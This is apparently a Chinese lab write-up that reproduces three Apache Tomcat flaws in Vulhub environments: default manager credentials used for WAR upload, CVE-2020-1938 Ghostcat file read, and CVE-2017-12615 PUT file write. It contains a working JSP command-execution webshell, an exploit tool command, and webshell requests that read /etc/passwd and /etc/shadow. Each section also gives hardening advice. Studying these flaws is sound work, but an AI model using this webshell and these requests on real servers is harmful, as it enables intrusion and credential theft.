Apache Tomcat 漏洞复现

文章目录

  • [Apache Tomcat 漏洞复现](#Apache Tomcat 漏洞复现)
    • [1. Tomcat7 弱密码和后端 Getshell 漏洞](#1. Tomcat7 弱密码和后端 Getshell 漏洞)
      • [1.1 漏洞描述](#1.1 漏洞描述)
      • [1.2 漏洞复现](#1.2 漏洞复现)
      • [1.3 漏洞利用](#1.3 漏洞利用)
        • [1.3.1 jsp小马](#1.3.1 jsp小马)
        • [1.3.2 jsp大马](#1.3.2 jsp大马)
      • [1.4 安全加固](#1.4 安全加固)
    • [2. Aapache Tomcat AJP任意文件读取/包含漏洞](#2. Aapache Tomcat AJP任意文件读取/包含漏洞)
      • [2.1 漏洞描述](#2.1 漏洞描述)
      • [2.1 漏洞复现](#2.1 漏洞复现)
      • [2.2 漏洞利用工具](#2.2 漏洞利用工具)
      • [2.4 修复建议](#2.4 修复建议)
    • [3. 通过 PUT 方法的 Tomcat 任意写入文件漏洞](#3. 通过 PUT 方法的 Tomcat 任意写入文件漏洞)
      • [3.1 漏洞描述](#3.1 漏洞描述)
      • [3.2 漏洞复现](#3.2 漏洞复现)
      • [3.3 漏洞利用](#3.3 漏洞利用)
      • [3.4 修复建议](#3.4 修复建议)

Apache Tomcat 漏洞复现

1. Tomcat7 弱密码和后端 Getshell 漏洞

链接地址:Vulhub - Docker-Compose file for vulnerability environment

1.1 漏洞描述

说明 内容
漏洞编号
漏洞名称 Tomcat7+ Weak Password && Backend Getshell Vulnerability
漏洞评级 高危
影响范围 8.0
漏洞描述 Tomcat 支持通过后端部署 war 文件,所以我们可以直接将 webshell 放入 Web 目录下。为了访问后端,需要权限。
修复方案 打补丁,上设备,升级组件

1.2 漏洞复现

环境启动

访问页面

点击管理控制平台

用户名和密码都是tomcat

进入到了tomcat后台项目管理控制台

如果黑客攻击者拿到这个控制台,就会有很大的风险。甚至可以将大型木马打包成WAR包进行部署。

1.3 漏洞利用

1.3.1 jsp小马

创建一个jsp木马

jsp 复制代码
<%
    if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

然后将其打包成WAR包

然后及将打包好的WAR包进行上传即可。

上传成功

访问页面

上传的木马中写了密码为023再次访问,然后使用ls命令来查看当前目录下有哪些文件。

查看权限

env打印环境变量

1.3.2 jsp大马

Webshell:138shell update · tennc/webshell@6a88226 (github.com)

利用我们准备好的大马,将其打包成war包后进行上传

上传成功

访问成功

1.4 安全加固

  • 密码需要有字符类型要求和长度
  • 增加验证码认证或口令认证等机制
  • 文件上传点增加上传限制

2. Aapache Tomcat AJP任意文件读取/包含漏洞

链接地址:Vulhub - Docker-Compose file for vulnerability environment

2.1 漏洞描述

说明 内容
漏洞编号 CVE-2020-1938
漏洞名称 Aapache Tomcat AJP Arbitrary File Read / Include Vulnerability
漏洞评级 高危
影响范围 9.0.30
漏洞描述 由于Tomcat AJP协议中的缺陷,攻击者可以读取或包含Tomcat的Webapp目录中的任何文件。例如,攻击者可以读取 Web 应用配置文件或源代码。此外,如果目标Web应用具有文件上传功能,攻击者可以通过Ghostcat漏洞利用文件包含漏洞在目标主机上执行恶意代码。
修复方案 打补丁,上设备,升级组件

2.1 漏洞复现

环境启动

2.2 漏洞利用工具

下载漏洞利用工具链接:github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

使用工具:

sh 复制代码
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.188.185 -p 8009 -f WEB-INF/web.xml

文件读取成功

查看读取的web.xml文件位置

发现和我们之前读取的文件内容一致

测试是否还可以读取其他的文件

我们可以在WEB-INF目录中创建一个wuhu.txt文件并在里面输入内容

然后尝试读取该文件内容

最后验证得出,这里读取文件是有限制的,只能读取ROOT目录下的文件

2.4 修复建议

  1. 官方网站下载新版本进行升级。
  2. 直接关闭 AJP Connector,或将其监听地址改为仅监听本机 localhost。
  3. 若需使用 Tomcat AJP 协议,可根据使用版本配置协议属性设置认证凭证。

3. 通过 PUT 方法的 Tomcat 任意写入文件漏洞

链接地址:Vulhub - Docker-Compose file for vulnerability environment

3.1 漏洞描述

说明 内容
漏洞编号 CVE-2017-12615
漏洞名称 Tomcat Arbitrary Write-file Vulnerability through PUT Method
漏洞评级 高危
影响范围 8.5.19
漏洞描述 当存在漏洞的Tomcat运行在Windows/Linux主机上, 且启用了HTTP PUT请求方法( 例如, 将readonly初始化参数由默认值设置为false) , 攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的JSP的webshell文件,JSP文件中的恶意代码将能被服务器执行, 导致服务器上的数据泄露或获取服务器权限
修复方案 打补丁,上设备,升级组件

3.2 漏洞复现

环境启动

访问页面

漏洞检测

使用nuclei漏洞检测工具

复制代码
./nuclei -u 192.168.188.185

3.3 漏洞利用

浏览器路径访问

复制代码
http://127.0.0.1/poc.jsp?cmd=cat+%2Fetc%2Fpasswd

%2F表示/

页面显示出来etc/passwd文件内容。

测试是否可以查看shadow文件

复制代码
http://127.0.0.1/poc.jsp?cmd=cat+%2Fetc%2Fshadow

测试是否可以执行命令

复制代码
http://127.0.0.1/poc.jsp?cmd=whoami

3.4 修复建议

  1. 禁用 HTTP PUT 方法:为了防止该漏洞的利用,可以在 Tomcat 配置文件中设置 "readonly" 属性,禁用 HTTP PUT 方法。例如,在 server.xml 文件中,可以将 Connector 元素中的 allowTrace 属性设置为 false,禁用 TRACE 和 PUT 方法。
  2. 过滤特殊字符:应用程序应该过滤掉特殊字符,如 ".../" 或 "%2e%2e%2f",以防止攻击者通过遍历路径来写入恶意文件。可以使用字符过滤器或正则表达式,限制输入数据的格式和内容。
  3. 路径验证和权限控制:应用程序应该对上传文件的路径进行验证,并限制其访问权限。可以将上传文件保存在特定的目录中,并确保其他用户无法访问该目录。此外,还应该对上传的文件进行扫描和检测,以防止上传恶意文件。
  4. 及时更新软件版本:Tomcat 团队已经意识到 PUT 方法任意写入文件漏洞,并提供了修复版本。因此,建议立即更新受影响的 Tomcat 版本,并实施相应的补丁程序。
  5. 启用安全模式:可以通过启用 Tomcat 的安全模式来减少漏洞利用的机会。安全模式可以限制 Tomcat 的访问权限,并增加对 Web 应用程序的监控和控制。
相关推荐
头茬韭菜23 分钟前
4.9 SSRF 防护 — Web 工具的出站安全与私有 IP 拦截
前端·tcp/ip·安全
上海云盾-高防顾问1 小时前
SD-WAN 跨境加速,真实日常使用体验
网络·网络安全
恒拓高科WorkPlus1 小时前
BeeWorks Meet私有化视频会议:内网会议、组织架构联动与会议安全
安全·架构
云祺vinchin2 小时前
《“医保影像云”基础规范》核心解读
安全·数据安全·容灾备份·国产化替代·医保影像云
Multipath7122 小时前
多链路聚合 + 宽带自组网 + 卫星便携站,构筑应急通信“铁三角”乾元通多链路聚合路由破局“三断”绝境,重构应急通信生命线
网络·5g·安全·智能路由器·实时音视频
中北marry2 小时前
玄机靶场wp 应急响应-webshell查杀
网络安全
Gent_倪3 小时前
数据治理之元数据管理:Apache Atlas
apache
Kina_C3 小时前
Apache HTTP Server 安装、配置与高级功能详解
linux·http·apache
yydbjx3 小时前
KACHIE发圈更隐蔽,博容安可的侧键推杆是不是不如它?
安全·求救器·防身
小五传输4 小时前
自主可控建设指南:Serv-u替代方案,实现平滑迁移业务不中断
大数据·运维·安全